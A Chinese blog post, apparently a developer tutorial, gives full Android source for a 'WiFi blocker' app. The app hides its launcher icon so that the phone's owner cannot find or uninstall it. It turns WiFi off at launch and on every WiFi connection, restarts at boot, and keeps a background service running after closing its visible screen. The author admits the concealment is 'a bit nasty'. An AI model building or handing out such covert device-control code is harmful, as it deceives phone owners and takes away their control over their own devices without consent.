最近,经理给了一个需求,让写一个WIFI拦截器,一开始我也是毫无头绪,不过还是几个小时就搞定了,其实也并没有什么,就是一个简单的广播和服务,上代码:
1、先看一下目录结构:
2、首先你要把你的APP得启动图标给隐藏,因为如果客户看见你的app图标有可能给你卸载掉,这样你的app毫无意义,所以不能让他看见(嘿嘿,有点恶心是不),隐藏图标的方法是:
<activity android:name=".MainActivity" android:label="@string/app_name"> <intent-filter> <data android:host="MainActivity" android:scheme="com.example.android.myapplication" /> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>host指的是你的入口Activity,scheme值得是项目的包名,这样你启动的时候就不会有启动图标了,不懂Android的人很难知道这是怎么回事。
3、MainActivity的代码:
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); /** * 判断wifi的网络状态,如果开启时则关闭 */ WifiManager wifiManager = (WifiManager) getSystemService(WIFI_SERVICE); if (wifiManager.isWifiEnabled()) { wifiManager.setWifiEnabled(false); } startService(new Intent(MainActivity.this, MyService.class)); finish(); } }在进入Activity的时候第一件事就是要判断wifi是都正在连接,如果是就关闭,另外我们还要开启一个常驻性服务,然后把程序干掉,这样表面上看来没什么,但是程序在后台还是在正常运行,如果有需要的朋友,还可以吧Service的优先级提高,防止Android强制回收掉。
4、注册开机启动广播,这没啥可讲的,大家一看就知道这是什么:
public class BootUpReceiver extends BroadcastReceiver { static final String action_boot = "android.intent.action.BOOT_COMPLETED"; @Override public void onReceive(Context context, Intent intent) { Intent intent1 = new Intent(context, MainActivity.class); intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(intent1); } }注册广播:
<receiver android:name=".BootUpReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver>
5、网络监听广播:这也没啥可将的,只要就是实时监听网络的变化,如果是WIFI连接,直接强制关闭:
public class NetworkStateReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) { NetworkInfo ni = intent.getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO); if (ni.getState() == NetworkInfo.State.CONNECTED && ni.getType() == ConnectivityManager.TYPE_WIFI) { /** * 判断wifi的网络状态,开启时则关闭 */ WifiManager wifiManager = (WifiManager) context.getSystemService(context.WIFI_SERVICE); if (wifiManager.isWifiEnabled()) { wifiManager.setWifiEnabled(false); } } } } }
6、最后就是程序所需要的一些权限了:
<!--监听WIFI状态--> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <!--开启自启动--> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!--监听网络变化--> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />其实Demo很简单,但是非常好玩,大家有需要的可以看一下,我提供一个下载源代码的地址:
点击打开链接
我用的是Studio开发的,使用Eclipse的朋友可自行Copy代码。